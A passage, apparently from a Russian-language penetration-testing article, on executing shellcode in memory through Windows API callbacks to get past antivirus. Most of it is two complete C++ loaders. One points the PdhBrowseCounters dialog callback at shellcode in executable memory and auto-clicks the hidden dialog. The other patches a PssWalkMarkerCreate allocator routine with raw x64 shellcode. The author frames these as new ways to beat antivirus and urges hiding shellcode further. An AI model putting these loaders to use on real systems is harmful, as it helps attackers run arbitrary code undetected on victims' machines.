Тем не менее иногда все эти специальные лоадеры бесполезны. В большинстве случаев на пентесте достаточно перегнать программу в шеллкод, а затем заставить систему его как-нибудь выполнить. Причём если просто отойти от проторенной дороги и использовать ранее неизвестный метод запуска шеллкода, с большой вероятностью получится обойти антивирус.

Например, можно поискать любые функции, принимающие в качестве одного из параметров коллбэк. В Windows присутствует множество GUI-функций и GUI-приложений, которые принимают коллбек. Скажем, функция PdhBrowseCounters() может использоваться для отображения специального диалогового окна, в котором можно выбрать интересующие нас счетчики производительности для программы монитора ресурсов системы. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.

Проблема лишь в том, что этот коллбэк вызывается только после того, как пользователь выберет нужные счётчики производительности. Опять же, мы можем выбрать эти счётчики за пользователя, а затем, используя SendMessage() сымитировать отправку сообщения о выборе счетчиков нужному окну.

#include <windows.h>
#include <pdh.h>
#include <pdhmsg.h>
#include <stdio.h>
#include <iostream>
 
#pragma comment(lib, "pdh.lib")
 
 
 
DWORD WINAPI ThreadFunction(LPVOID lpParam)
{
	Sleep(5000);
	HWND hwnd = NULL;
	hwnd = FindWindow(NULL, L"s");
	ShowWindow(hwnd, SW_HIDE);
	if (hwnd)
	{
    	HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"ОК"); // OK RUssian
 
    	if (hwndButton)
    	{
            SendMessage(hwndButton, BM_CLICK, 0, 0);
    	}
    	else {
        	hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); // OK English
        	if (hwndButton) {
                SendMessage(hwndButton, BM_CLICK, 0, 0);
        	}
        	else {
                std::cout << "[-] Cant get handle on button" << std::endl;
        	}
    	}
	}
	return 0;
}
void ShowCounterBrowser()
{
 
    PDH_BROWSE_DLG_CONFIG dlg;
 
    ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG));
	unsigned char AbcdVar[] = "<SHELLCODE HERE>";
	PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(addr, AbcdVar, sizeof(AbcdVar));
	dlg.pCallBack = (CounterPathCallBack)addr;
	dlg.dwCallBackArg = NULL;
 
    dlg.bIncludeInstanceIndex = FALSE;
    dlg.bSingleCounterPerAdd = TRUE;
    dlg.bSingleCounterPerDialog = TRUE;
    dlg.bLocalCountersOnly = FALSE;
    dlg.bWildCardInstances = TRUE;
	dlg.bHideDetailBox = TRUE;
    dlg.bInitializePath = FALSE;
    dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;
    dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];
    dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH;
	HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
 
	if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS)
	{
        printf("Chosen counter: %s\n", dlg.szReturnPathBuffer);
	}
	else
	{
        printf("No counter chosen\n");
	}
 
	delete[] dlg.szReturnPathBuffer;
}
 
int main()
{
    ShowCounterBrowser();
	return 0;
}

Или пусть это будет функция PssCaptureSnapshot(), которая позволяет создавать различные снапшоты процесса. После чего для получения информации о снапшоте можно пробежать по нему с помощью PssWalkMarkerCreate(), которому требуется первым параметром передать структуру PSS_ALLOCATOR, внутри которой и указываются коллбэки. Сами эти коллбэки нужны для кастомной реализации функций по выделению и освобождению памяти при работе системы со снепшотом, но ничего нам не помешает указать там наш шеллкод:

#include <Windows.h>
#include <processsnapshot.h>
#include <iostream>
 
// Function To Rewrite
VOID* CALLBACK AllocRoutine(void* Context, DWORD Size)
{
	MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION);
	return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size));
}
 
int main()
{
	DWORD ProcessId = GetCurrentProcessId();
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
	if (hProcess == NULL)
	{
    	std::cerr << "Could not open the process." << std::endl;
    	return 1;
	}
 
	HPSS SnapshotHandle = NULL;
	PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE;
	DWORD SnapshotFlags = 0;
	DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle);
	if (Result != ERROR_SUCCESS)
	{
    	std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl;
    	return 1;
	}
 
	PSS_ALLOCATOR Allocator;
 
    Allocator.AllocRoutine = AllocRoutine;
    Allocator.FreeRoutine = NULL;
	unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
        "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
        "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
        "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
        "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
        "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
        "\x48\x83\xec\x20\x41\xff\xd6,\x00";
	DWORD old;
    VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);
    memcpy(AllocRoutine, shellcode, sizeof(shellcode));
	HPSSWALK WalkMarkerHandle;
	Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle);
	if (Result != ERROR_SUCCESS)
	{
    	std::cerr << "Could not create the walk marker. Error: " << Result << std::endl;
    	return 1;
	}
    PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);
    CloseHandle(hProcess);
	return 0;
}

Как видим, полёт фантазии может быть любым, он не ограничен никем и ничем. Самое главное — не бояться экспериментировать и творить.

Заключение

Подытоживая, можно сделать вывод, что методы исполнения в памяти обычно сводятся либо к использованию особенностей языка программирования, функционал которого позволяет осуществлять операции без взаимодействия с диском, либо же к генерации шеллкода из исполняемой программы. С другой стороны, наличие шеллкода в явном виде — плохая практика, поэтому нужно маскировать его всеми доступными способами, но об этом поговорим в следующий раз.